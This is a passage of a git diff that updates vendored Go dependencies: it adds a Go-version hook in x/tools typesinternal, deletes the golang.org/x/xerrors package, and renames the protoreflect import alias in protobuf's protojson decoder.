1778, 1792, 1803, 1815, 1828, 1845, 1858, 1869, 1882, 1894, 1903} +var _ErrorCode_index = [...]uint16{0, 4, 16, 33, 46, 59, 71, 85, 97, 113, 126, 142, 158, 174, 189, 205, 215, 231, 250, 258, 274, 292, 309, 327, 351, 359, 374, 390, 408, 425, 440, 447, 458, 481, 496, 508, 519, 534, 548, 563, 578, 591, 600, 614, 629, 640, 655, 664, 680, 700, 718, 737, 749, 768, 787, 803, 820, 839, 853, 864, 879, 892, 907, 923, 937, 953, 968, 985, 1003, 1018, 1028, 1038, 1055, 1077, 1091, 1105, 1125, 1143, 1163, 1181, 1204, 1220, 1235, 1248, 1258, 1270, 1281, 1295, 1308, 1319, 1329, 1344, 1355, 1366, 1379, 1395, 1412, 1436, 1453, 1468, 1478, 1487, 1500, 1516, 1532, 1543, 1558, 1574, 1588, 1604, 1618, 1635, 1655, 1668, 1684, 1698, 1715, 1732, 1749, 1764, 1778, 1792, 1803, 1815, 1828, 1845, 1858, 1869, 1882, 1894, 1903, 1910, 1922, 1938, 1956, 1974, 1989, 2006, 2025, 2039, 2059, 2071, 2095, 2118, 2136} func (i ErrorCode) String() string { i -= 1 diff --git a/vendor/golang.org/x/tools/internal/typesinternal/types.go b/vendor/golang.org/x/tools/internal/typesinternal/types.go index c3e1a397d..ce7d4351b 100644 --- a/vendor/golang.org/x/tools/internal/typesinternal/types.go +++ b/vendor/golang.org/x/tools/internal/typesinternal/types.go @@ -30,10 +30,15 @@ func SetUsesCgo(conf *types.Config) bool { return true } -func ReadGo116ErrorData(terr types.Error) (ErrorCode, token.Pos, token.Pos, bool) { +// ReadGo116ErrorData extracts additional information from types.Error values +// generated by Go version 1.16 and later: the error code, start position, and +// end position. If all positions are valid, start <= err.Pos <= end. +// +// If the data could not be read, the final result parameter will be false. +func ReadGo116ErrorData(err types.Error) (code ErrorCode, start, end token.Pos, ok bool) { var data [3]int // By coincidence all of these fields are ints, which simplifies things. - v := reflect.ValueOf(terr) + v := reflect.ValueOf(err) for i, name := range []string{"go116code", "go116start", "go116end"} { f := v.FieldByName(name) if !f.IsValid() { @@ -43,3 +48,5 @@ func ReadGo116ErrorData(terr types.Error) (ErrorCode, token.Pos, token.Pos, bool } return ErrorCode(data[0]), token.Pos(data[1]), token.Pos(data[2]), true } + +var SetGoVersion = func(conf *types.Config, version string) bool { return false } diff --git a/vendor/golang.org/x/tools/internal/typesinternal/types_118.go b/vendor/golang.org/x/tools/internal/typesinternal/types_118.go new file mode 100644 index 000000000..a42b072a6 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typesinternal/types_118.go @@ -0,0 +1,19 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.18 +// +build go1.18 + +package typesinternal + +import ( + "go/types" +) + +func init() { + SetGoVersion = func(conf *types.Config, version string) bool { + conf.GoVersion = version + return true + } +} diff --git a/vendor/golang.org/x/xerrors/LICENSE b/vendor/golang.org/x/xerrors/LICENSE deleted file mode 100644 index e4a47e17f..000000000 --- a/vendor/golang.org/x/xerrors/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2019 The Go Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/golang.org/x/xerrors/PATENTS b/vendor/golang.org/x/xerrors/PATENTS deleted file mode 100644 index 733099041..000000000 --- a/vendor/golang.org/x/xerrors/PATENTS +++ /dev/null @@ -1,22 +0,0 @@ -Additional IP Rights Grant (Patents) - -"This implementation" means the copyrightable works distributed by -Google as part of the Go project. - -Google hereby grants to You a perpetual, worldwide, non-exclusive, -no-charge, royalty-free, irrevocable (except as stated in this section) -patent license to make, have made, use, offer to sell, sell, import, -transfer and otherwise run, modify and propagate the contents of this -implementation of Go, where such license applies only to those patent -claims, both currently owned or controlled by Google and acquired in -the future, licensable by Google that are necessarily infringed by this -implementation of Go. This grant does not include claims that would be -infringed only as a consequence of further modification of this -implementation. If you or your agent or exclusive licensee institute or -order or agree to the institution of patent litigation against any -entity (including a cross-claim or counterclaim in a lawsuit) alleging -that this implementation of Go or any code incorporated within this -implementation of Go constitutes direct or contributory patent -infringement, or inducement of patent infringement, then any patent -rights granted to you under this License for this implementation of Go -shall terminate as of the date such litigation is filed. diff --git a/vendor/golang.org/x/xerrors/README b/vendor/golang.org/x/xerrors/README deleted file mode 100644 index aac7867a5..000000000 --- a/vendor/golang.org/x/xerrors/README +++ /dev/null @@ -1,2 +0,0 @@ -This repository holds the transition packages for the new Go 1.13 error values. -See golang.org/design/29934-error-values. diff --git a/vendor/golang.org/x/xerrors/adaptor.go b/vendor/golang.org/x/xerrors/adaptor.go deleted file mode 100644 index 4317f2483..000000000 --- a/vendor/golang.org/x/xerrors/adaptor.go +++ /dev/null @@ -1,193 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xerrors - -import ( - "bytes" - "fmt" - "io" - "reflect" - "strconv" -) - -// FormatError calls the FormatError method of f with an errors.Printer -// configured according to s and verb, and writes the result to s. -func FormatError(f Formatter, s fmt.State, verb rune) { - // Assuming this function is only called from the Format method, and given - // that FormatError takes precedence over Format, it cannot be called from - // any package that supports errors.Formatter. It is therefore safe to - // disregard that State may be a specific printer implementation and use one - // of our choice instead. - - // limitations: does not support printing error as Go struct. - - var ( - sep = " " // separator before next error - p = &state{State: s} - direct = true - ) - - var err error = f - - switch verb { - // Note that this switch must match the preference order - // for ordinary string printing (%#v before %+v, and so on). - - case 'v': - if s.Flag('#') { - if stringer, ok := err.(fmt.GoStringer); ok { - io.WriteString(&p.buf, stringer.GoString()) - goto exit - } - // proceed as if it were %v - } else if s.Flag('+') { - p.printDetail = true - sep = "\n - " - } - case 's': - case 'q', 'x', 'X': - // Use an intermediate buffer in the rare cases that precision, - // truncation, or one of the alternative verbs (q, x, and X) are - // specified. - direct = false - - default: - p.buf.WriteString("%!") - p.buf.WriteRune(verb) - p.buf.WriteByte('(') - switch { - case err != nil: - p.buf.WriteString(reflect.TypeOf(f).String()) - default: - p.buf.WriteString("<nil>") - } - p.buf.WriteByte(')') - io.Copy(s, &p.buf) - return - } - -loop: - for { - switch v := err.(type) { - case Formatter: - err = v.FormatError((*printer)(p)) - case fmt.Formatter: - v.Format(p, 'v') - break loop - default: - io.WriteString(&p.buf, v.Error()) - break loop - } - if err == nil { - break - } - if p.needColon || !p.printDetail { - p.buf.WriteByte(':') - p.needColon = false - } - p.buf.WriteString(sep) - p.inDetail = false - p.needNewline = false - } - -exit: - width, okW := s.Width() - prec, okP := s.Precision() - - if !direct || (okW && width > 0) || okP { - // Construct format string from State s. - format := []byte{'%'} - if s.Flag('-') { - format = append(format, '-') - } - if s.Flag('+') { - format = append(format, '+') - } - if s.Flag(' ') { - format = append(format, ' ') - } - if okW { - format = strconv.AppendInt(format, int64(width), 10) - } - if okP { - format = append(format, '.') - format = strconv.AppendInt(format, int64(prec), 10) - } - format = append(format, string(verb)...) - fmt.Fprintf(s, string(format), p.buf.String()) - } else { - io.Copy(s, &p.buf) - } -} - -var detailSep = []byte("\n ") - -// state tracks error printing state. It implements fmt.State. -type state struct { - fmt.State - buf bytes.Buffer - - printDetail bool - inDetail bool - needColon bool - needNewline bool -} - -func (s *state) Write(b []byte) (n int, err error) { - if s.printDetail { - if len(b) == 0 { - return 0, nil - } - if s.inDetail && s.needColon { - s.needNewline = true - if b[0] == '\n' { - b = b[1:] - } - } - k := 0 - for i, c := range b { - if s.needNewline { - if s.inDetail && s.needColon { - s.buf.WriteByte(':') - s.needColon = false - } - s.buf.Write(detailSep) - s.needNewline = false - } - if c == '\n' { - s.buf.Write(b[k:i]) - k = i + 1 - s.needNewline = true - } - } - s.buf.Write(b[k:]) - if !s.inDetail { - s.needColon = true - } - } else if !s.inDetail { - s.buf.Write(b) - } - return len(b), nil -} - -// printer wraps a state to implement an xerrors.Printer. -type printer state - -func (s *printer) Print(args ...interface{}) { - if !s.inDetail || s.printDetail { - fmt.Fprint((*state)(s), args...) - } -} - -func (s *printer) Printf(format string, args ...interface{}) { - if !s.inDetail || s.printDetail { - fmt.Fprintf((*state)(s), format, args...) - } -} - -func (s *printer) Detail() bool { - s.inDetail = true - return s.printDetail -} diff --git a/vendor/golang.org/x/xerrors/codereview.cfg b/vendor/golang.org/x/xerrors/codereview.cfg deleted file mode 100644 index 3f8b14b64..000000000 --- a/vendor/golang.org/x/xerrors/codereview.cfg +++ /dev/null @@ -1 +0,0 @@ -issuerepo: golang/go diff --git a/vendor/golang.org/x/xerrors/doc.go b/vendor/golang.org/x/xerrors/doc.go deleted file mode 100644 index 2ef99f5a8..000000000 --- a/vendor/golang.org/x/xerrors/doc.go +++ /dev/null @@ -1,23 +0,0 @@ -// Copyright 2019 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package xerrors implements functions to manipulate errors. -// -// This package is based on the Go 2 proposal for error values: -// -// https://golang.org/design/29934-error-values -// -// These functions were incorporated into the standard library's errors package -// in Go 1.13: -// - Is -// - As -// - Unwrap -// -// Also, Errorf's %w verb was incorporated into fmt.Errorf. -// -// Use this package to get equivalent behavior in all supported Go versions. -// -// No other features of this package were included in Go 1.13, and at present -// there are no plans to include any of them. -package xerrors // import "golang.org/x/xerrors" diff --git a/vendor/golang.org/x/xerrors/errors.go b/vendor/golang.org/x/xerrors/errors.go deleted file mode 100644 index e88d3772d..000000000 --- a/vendor/golang.org/x/xerrors/errors.go +++ /dev/null @@ -1,33 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xerrors - -import "fmt" - -// errorString is a trivial implementation of error. -type errorString struct { - s string - frame Frame -} - -// New returns an error that formats as the given text. -// -// The returned error contains a Frame set to the caller's location and -// implements Formatter to show this information when printed with details. -func New(text string) error { - return &errorString{text, Caller(1)} -} - -func (e *errorString) Error() string { - return e.s -} - -func (e *errorString) Format(s fmt.State, v rune) { FormatError(e, s, v) } - -func (e *errorString) FormatError(p Printer) (next error) { - p.Print(e.s) - e.frame.Format(p) - return nil -} diff --git a/vendor/golang.org/x/xerrors/fmt.go b/vendor/golang.org/x/xerrors/fmt.go deleted file mode 100644 index 6df18669f..000000000 --- a/vendor/golang.org/x/xerrors/fmt.go +++ /dev/null @@ -1,189 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xerrors - -import ( - "fmt" - "strings" - "unicode" - "unicode/utf8" - - "golang.org/x/xerrors/internal" -) - -const percentBangString = "%!" - -// Errorf formats according to a format specifier and returns the string as a -// value that satisfies error. -// -// The returned error includes the file and line number of the caller when -// formatted with additional detail enabled. If the last argument is an error -// the returned error's Format method will return it if the format string ends -// with ": %s", ": %v", or ": %w". If the last argument is an error and the -// format string ends with ": %w", the returned error implements an Unwrap -// method returning it. -// -// If the format specifier includes a %w verb with an error operand in a -// position other than at the end, the returned error will still implement an -// Unwrap method returning the operand, but the error's Format method will not -// return the wrapped error. -// -// It is invalid to include more than one %w verb or to supply it with an -// operand that does not implement the error interface. The %w verb is otherwise -// a synonym for %v. -// -// Deprecated: As of Go 1.13, use fmt.Errorf instead. -func Errorf(format string, a ...interface{}) error { - format = formatPlusW(format) - // Support a ": %[wsv]" suffix, which works well with xerrors.Formatter. - wrap := strings.HasSuffix(format, ": %w") - idx, format2, ok := parsePercentW(format) - percentWElsewhere := !wrap && idx >= 0 - if !percentWElsewhere && (wrap || strings.HasSuffix(format, ": %s") || strings.HasSuffix(format, ": %v")) { - err := errorAt(a, len(a)-1) - if err == nil { - return &noWrapError{fmt.Sprintf(format, a...), nil, Caller(1)} - } - // TODO: this is not entirely correct. The error value could be - // printed elsewhere in format if it mixes numbered with unnumbered - // substitutions. With relatively small changes to doPrintf we can - // have it optionally ignore extra arguments and pass the argument - // list in its entirety. - msg := fmt.Sprintf(format[:len(format)-len(": %s")], a[:len(a)-1]...) - frame := Frame{} - if internal.EnableTrace { - frame = Caller(1) - } - if wrap { - return &wrapError{msg, err, frame} - } - return &noWrapError{msg, err, frame} - } - // Support %w anywhere. - // TODO: don't repeat the wrapped error's message when %w occurs in the middle. - msg := fmt.Sprintf(format2, a...) - if idx < 0 { - return &noWrapError{msg, nil, Caller(1)} - } - err := errorAt(a, idx) - if !ok || err == nil { - // Too many %ws or argument of %w is not an error. Approximate the Go - // 1.13 fmt.Errorf message. - return &noWrapError{fmt.Sprintf("%sw(%s)", percentBangString, msg), nil, Caller(1)} - } - frame := Frame{} - if internal.EnableTrace { - frame = Caller(1) - } - return &wrapError{msg, err, frame} -} - -func errorAt(args []interface{}, i int) error { - if i < 0 || i >= len(args) { - return nil - } - err, ok := args[i].(error) - if !ok { - return nil - } - return err -} - -// formatPlusW is used to avoid the vet check that will barf at %w. -func formatPlusW(s string) string { - return s -} - -// Return the index of the only %w in format, or -1 if none. -// Also return a rewritten format string with %w replaced by %v, and -// false if there is more than one %w. -// TODO: handle "%[N]w". -func parsePercentW(format string) (idx int, newFormat string, ok bool) { - // Loosely copied from golang.org/x/tools/go/analysis/passes/printf/printf.go. - idx = -1 - ok = true - n := 0 - sz := 0 - var isW bool - for i := 0; i < len(format); i += sz { - if format[i] != '%' { - sz = 1 - continue - } - // "%%" is not a format directive. - if i+1 < len(format) && format[i+1] == '%' { - sz = 2 - continue - } - sz, isW = parsePrintfVerb(format[i:]) - if isW { - if idx >= 0 { - ok = false - } else { - idx = n - } - // "Replace" the last character, the 'w', with a 'v'. - p := i + sz - 1 - format = format[:p] + "v" + format[p+1:] - } - n++ - } - return idx, format, ok -} - -// Parse the printf verb starting with a % at s[0]. -// Return how many bytes it occupies and whether the verb is 'w'. -func parsePrintfVerb(s string) (int, bool) { - // Assume only that the directive is a sequence of non-letters followed by a single letter. - sz := 0 - var r rune - for i := 1; i < len(s); i += sz { - r, sz = utf8.DecodeRuneInString(s[i:]) - if unicode.IsLetter(r) { - return i + sz, r == 'w' - } - } - return len(s), false -} - -type noWrapError struct { - msg string - err error - frame Frame -} - -func (e *noWrapError) Error() string { - return fmt.Sprint(e) -} - -func (e *noWrapError) Format(s fmt.State, v rune) { FormatError(e, s, v) } - -func (e *noWrapError) FormatError(p Printer) (next error) { - p.Print(e.msg) - e.frame.Format(p) - return e.err -} - -type wrapError struct { - msg string - err error - frame Frame -} - -func (e *wrapError) Error() string { - return fmt.Sprint(e) -} - -func (e *wrapError) Format(s fmt.State, v rune) { FormatError(e, s, v) } - -func (e *wrapError) FormatError(p Printer) (next error) { - p.Print(e.msg) - e.frame.Format(p) - return e.err -} - -func (e *wrapError) Unwrap() error { - return e.err -} diff --git a/vendor/golang.org/x/xerrors/format.go b/vendor/golang.org/x/xerrors/format.go deleted file mode 100644 index 1bc9c26b9..000000000 --- a/vendor/golang.org/x/xerrors/format.go +++ /dev/null @@ -1,34 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xerrors - -// A Formatter formats error messages. -type Formatter interface { - error - - // FormatError prints the receiver's first error and returns the next error in - // the error chain, if any. - FormatError(p Printer) (next error) -} - -// A Printer formats error messages. -// -// The most common implementation of Printer is the one provided by package fmt -// during Printf (as of Go 1.13). Localization packages such as golang.org/x/text/message -// typically provide their own implementations. -type Printer interface { - // Print appends args to the message output. - Print(args ...interface{}) - - // Printf writes a formatted string. - Printf(format string, args ...interface{}) - - // Detail reports whether error detail is requested. - // After the first call to Detail, all text written to the Printer - // is formatted as additional detail, or ignored when - // detail has not been requested. - // If Detail returns false, the caller can avoid printing the detail at all. - Detail() bool -} diff --git a/vendor/golang.org/x/xerrors/frame.go b/vendor/golang.org/x/xerrors/frame.go deleted file mode 100644 index 0de628ec5..000000000 --- a/vendor/golang.org/x/xerrors/frame.go +++ /dev/null @@ -1,56 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xerrors - -import ( - "runtime" -) - -// A Frame contains part of a call stack. -type Frame struct { - // Make room for three PCs: the one we were asked for, what it called, - // and possibly a PC for skipPleaseUseCallersFrames. See: - // https://go.googlesource.com/go/+/032678e0fb/src/runtime/extern.go#169 - frames [3]uintptr -} - -// Caller returns a Frame that describes a frame on the caller's stack. -// The argument skip is the number of frames to skip over. -// Caller(0) returns the frame for the caller of Caller. -func Caller(skip int) Frame { - var s Frame - runtime.Callers(skip+1, s.frames[:]) - return s -} - -// location reports the file, line, and function of a frame. -// -// The returned function may be "" even if file and line are not. -func (f Frame) location() (function, file string, line int) { - frames := runtime.CallersFrames(f.frames[:]) - if _, ok := frames.Next(); !ok { - return "", "", 0 - } - fr, ok := frames.Next() - if !ok { - return "", "", 0 - } - return fr.Function, fr.File, fr.Line -} - -// Format prints the stack as error detail. -// It should be called from an error's Format implementation -// after printing any other error detail. -func (f Frame) Format(p Printer) { - if p.Detail() { - function, file, line := f.location() - if function != "" { - p.Printf("%s\n ", function) - } - if file != "" { - p.Printf("%s:%d\n", file, line) - } - } -} diff --git a/vendor/golang.org/x/xerrors/internal/internal.go b/vendor/golang.org/x/xerrors/internal/internal.go deleted file mode 100644 index 89f4eca5d..000000000 --- a/vendor/golang.org/x/xerrors/internal/internal.go +++ /dev/null @@ -1,8 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package internal - -// EnableTrace indicates whether stack information should be recorded in errors. -var EnableTrace = true diff --git a/vendor/golang.org/x/xerrors/wrap.go b/vendor/golang.org/x/xerrors/wrap.go deleted file mode 100644 index 9842758ca..000000000 --- a/vendor/golang.org/x/xerrors/wrap.go +++ /dev/null @@ -1,112 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xerrors - -import ( - "reflect" -) - -// A Wrapper provides context around another error. -type Wrapper interface { - // Unwrap returns the next error in the error chain. - // If there is no next error, Unwrap returns nil. - Unwrap() error -} - -// Opaque returns an error with the same error formatting as err -// but that does not match err and cannot be unwrapped. -func Opaque(err error) error { - return noWrapper{err} -} - -type noWrapper struct { - error -} - -func (e noWrapper) FormatError(p Printer) (next error) { - if f, ok := e.error.(Formatter); ok { - return f.FormatError(p) - } - p.Print(e.error) - return nil -} - -// Unwrap returns the result of calling the Unwrap method on err, if err implements -// Unwrap. Otherwise, Unwrap returns nil. -// -// Deprecated: As of Go 1.13, use errors.Unwrap instead. -func Unwrap(err error) error { - u, ok := err.(Wrapper) - if !ok { - return nil - } - return u.Unwrap() -} - -// Is reports whether any error in err's chain matches target. -// -// An error is considered to match a target if it is equal to that target or if -// it implements a method Is(error) bool such that Is(target) returns true. -// -// Deprecated: As of Go 1.13, use errors.Is instead. -func Is(err, target error) bool { - if target == nil { - return err == target - } - - isComparable := reflect.TypeOf(target).Comparable() - for { - if isComparable && err == target { - return true - } - if x, ok := err.(interface{ Is(error) bool }); ok && x.Is(target) { - return true - } - // TODO: consider supporing target.Is(err). This would allow - // user-definable predicates, but also may allow for coping with sloppy - // APIs, thereby making it easier to get away with them. - if err = Unwrap(err); err == nil { - return false - } - } -} - -// As finds the first error in err's chain that matches the type to which target -// points, and if so, sets the target to its value and returns true. An error -// matches a type if it is assignable to the target type, or if it has a method -// As(interface{}) bool such that As(target) returns true. As will panic if target -// is not a non-nil pointer to a type which implements error or is of interface type. -// -// The As method should set the target to its value and return true if err -// matches the type to which target points. -// -// Deprecated: As of Go 1.13, use errors.As instead. -func As(err error, target interface{}) bool { - if target == nil { - panic("errors: target cannot be nil") - } - val := reflect.ValueOf(target) - typ := val.Type() - if typ.Kind() != reflect.Ptr || val.IsNil() { - panic("errors: target must be a non-nil pointer") - } - if e := typ.Elem(); e.Kind() != reflect.Interface && !e.Implements(errorType) { - panic("errors: *target must be interface or implement error") - } - targetType := typ.Elem() - for err != nil { - if reflect.TypeOf(err).AssignableTo(targetType) { - val.Elem().Set(reflect.ValueOf(err)) - return true - } - if x, ok := err.(interface{ As(interface{}) bool }); ok && x.As(target) { - return true - } - err = Unwrap(err) - } - return false -} - -var errorType = reflect.TypeOf((*error)(nil)).Elem() diff --git a/vendor/google.golang.org/protobuf/AUTHORS b/vendor/google.golang.org/protobuf/AUTHORS deleted file mode 100644 index 2b00ddba0..000000000 --- a/vendor/google.golang.org/protobuf/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at https://tip.golang.org/AUTHORS. diff --git a/vendor/google.golang.org/protobuf/CONTRIBUTORS b/vendor/google.golang.org/protobuf/CONTRIBUTORS deleted file mode 100644 index 1fbd3e976..000000000 --- a/vendor/google.golang.org/protobuf/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at https://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/google.golang.org/protobuf/encoding/protojson/decode.go b/vendor/google.golang.org/protobuf/encoding/protojson/decode.go index 07da5db34..5f28148d8 100644 --- a/vendor/google.golang.org/protobuf/encoding/protojson/decode.go +++ b/vendor/google.golang.org/protobuf/encoding/protojson/decode.go @@ -19,7 +19,7 @@ import ( "google.golang.org/protobuf/internal/pragma" "google.golang.org/protobuf/internal/set" "google.golang.org/protobuf/proto" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/reflect/protoregistry" ) @@ -113,7 +113,7 @@ func (d decoder) syntaxError(pos int, f string, x ...interface{}) error { } // unmarshalMessage unmarshals a message into the given protoreflect.Message. -func (d decoder) unmarshalMessage(m pref.Message, skipTypeURL bool) error { +func (d decoder) unmarshalMessage(m protoreflect.Message, skipTypeURL bool) error { if unmarshal := wellKnownTypeUnmarshaler(m.Descriptor().FullName()); unmarshal != nil { return unmarshal(d, m) } @@ -159,10 +159,10 @@ func (d decoder) unmarshalMessage(m pref.Message, skipTypeURL bool) error { } // Get the FieldDescriptor. - var fd pref.FieldDescriptor + var fd protoreflect.FieldDescriptor if strings.HasPrefix(name, "[") && strings.HasSuffix(name, "]") { // Only extension names are in [name] format. - extName := pref.FullName(name[1 : len(name)-1]) + extName := protoreflect.FullName(name[1 : len(name)-1]) extType, err := d.opts.Resolver.FindExtensionByName(extName) if err != nil && err != protoregistry.NotFound { return d.newError(tok.Pos(), "unable to resolve %s: %v", tok.RawString(), err) @@ -240,23 +240,23 @@ func (d decoder) unmarshalMessage(m pref.Message, skipTypeURL bool) error { } } -func isKnownValue(fd pref.FieldDescriptor) bool { +func isKnownValue(fd protoreflect.FieldDescriptor) bool { md := fd.Message() return md != nil && md.FullName() == genid.Value_message_fullname } -func isNullValue(fd pref.FieldDescriptor) bool { +func isNullValue(fd protoreflect.FieldDescriptor) bool { ed := fd.Enum() return ed != nil && ed.FullName() == genid.NullValue_enum_fullname } // unmarshalSingular unmarshals to the non-repeated field specified // by the given FieldDescriptor. -func (d decoder) unmarshalSingular(m pref.Message, fd pref.FieldDescriptor) error { - var val pref.Value +func (d decoder) unmarshalSingular(m protoreflect.Message, fd protoreflect.FieldDescriptor) error { + var val protoreflect.Value var err error switch fd.Kind() { - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: val = m.NewField(fd) err = d.unmarshalMessage(val.Message(), false) default: @@ -272,63 +272,63 @@ func (d decoder) unmarshalSingular(m pref.Message, fd pref.FieldDescriptor) erro // unmarshalScalar unmarshals to a scalar/enum protoreflect.Value specified by // the given FieldDescriptor. -func (d decoder) unmarshalScalar(fd pref.FieldDescriptor) (pref.Value, error) { +func (d decoder) unmarshalScalar(fd protoreflect.FieldDescriptor) (protoreflect.Value, error) { const b32 int = 32 const b64 int = 64 tok, err := d.Read() if err != nil { - return pref.Value{}, err + return protoreflect.Value{}, err } kind := fd.Kind() switch kind { - case pref.BoolKind: + case protoreflect.BoolKind: if tok.Kind() == json.Bool { - return pref.ValueOfBool(tok.Bool()), nil + return protoreflect.ValueOfBool(tok.Bool()), nil } - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: if v, ok := unmarshalInt(tok, b32); ok { return v, nil } - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: if v, ok := unmarshalInt(tok, b64); ok { return v, nil } - case pref.Uint32Kind, pref.Fixed32Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: if v, ok := unmarshalUint(tok, b32); ok { return v, nil } - case pref.Uint64Kind, pref.Fixed64Kind: + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: if v, ok := unmarshalUint(tok, b64); ok { return v, nil } - case pref.FloatKind: + case protoreflect.FloatKind: if v, ok := unmarshalFloat(tok, b32); ok { return v, nil } - case pref.DoubleKind: + case protoreflect.DoubleKind: if v, ok := unmarshalFloat(tok, b64); ok { return v, nil } - case pref.StringKind: + case protoreflect.StringKind: if tok.Kind() == json.String { - return pref.ValueOfString(tok.ParsedString()), nil + return protoreflect.ValueOfString(tok.ParsedString()), nil } - case pref.BytesKind: + case protoreflect.BytesKind: if v, ok := unmarshalBytes(tok); ok { return v, nil } - case pref.EnumKind: + case protoreflect.EnumKind: if v, ok := unmarshalEnum(tok, fd); ok { return v, nil } @@ -337,10 +337,10 @@ func (d decoder) unmarshalScalar(fd pref.FieldDescriptor) (pref.Value, error) { panic(fmt.Sprintf("unmarshalScalar: invalid scalar kind %v", kind)) } - return pref.Value{}, d.newError(tok.Pos(), "invalid value for %v type: %v", kind, tok.RawString()) + return protoreflect.Value{}, d.newError(tok.Pos(), "invalid value for %v type: %v", kind, tok.RawString()) } -func unmarshalInt(tok json.Token, bitSize int) (pref.Value, bool) { +func unmarshalInt(tok json.Token, bitSize int) (protoreflect.Value, bool) { switch tok.Kind() { case json.Number: return getInt(tok, bitSize) @@ -349,30 +349,30 @@ func unmarshalInt(tok json.Token, bitSize int) (pref.Value, bool) { // Decode number from string. s := strings.TrimSpace(tok.ParsedString()) if len(s) != len(tok.ParsedString()) { - return pref.Value{}, false + return protoreflect.Value{}, false } dec := json.NewDecoder([]byte(s)) tok, err := dec.Read() if err != nil { - return pref.Value{}, false + return protoreflect.Value{}, false } return getInt(tok, bitSize) } - return pref.Value{}, false + return protoreflect.Value{}, false } -func getInt(tok json.Token, bitSize int) (pref.Value, bool) { +func getInt(tok json.Token, bitSize int) (protoreflect.Value, bool) { n, ok := tok.Int(bitSize) if !ok { - return pref.Value{}, false + return protoreflect.Value{}, false } if bitSize == 32 { - return pref.ValueOfInt32(int32(n)), true + return protoreflect.ValueOfInt32(int32(n)), true } - return pref.ValueOfInt64(n), true + return protoreflect.ValueOfInt64(n), true } -func unmarshalUint(tok json.Token, bitSize int) (pref.Value, bool) { +func unmarshalUint(tok json.Token, bitSize int) (protoreflect.Value, bool) { switch tok.Kind() { case json.Number: return getUint(tok, bitSize) @@ -381,30 +381,30 @@ func unmarshalUint(tok json.Token, bitSize int) (pref.Value, bool) { // Decode number from string. s := strings.TrimSpace(tok.ParsedString()) if len(s) != len(tok.ParsedString()) { - return pref.Value{}, false + return protoreflect.Value{}, false } dec := json.NewDecoder([]byte(s)) tok, err := dec.Read() if err != nil { - return pref.Value{}, false + return protoreflect.Value{}, false } return getUint(tok, bitSize) } - return pref.Value{}, false + return protoreflect.Value{}, false } -func getUint(tok json.Token, bitSize int) (pref.Value, bool) { +func getUint(tok json.Token, bitSize int) (protoreflect.Value, bool) { n, ok := tok.Uint(bitSize) if !ok { - return pref.Value{}, false + return protoreflect.Value{}, false } if bitSize == 32 { - return pref.ValueOfUint32(uint32(n)), true + return protoreflect.ValueOfUint32(uint32(n)), true } - return pref.ValueOfUint64(n), true + return protoreflect.ValueOfUint64(n), true } -func unmarshalFloat(tok json.Token, bitSize int) (pref.Value, bool) { +func unmarshalFloat(tok json.Token, bitSize int) (protoreflect.Value, bool) { switch 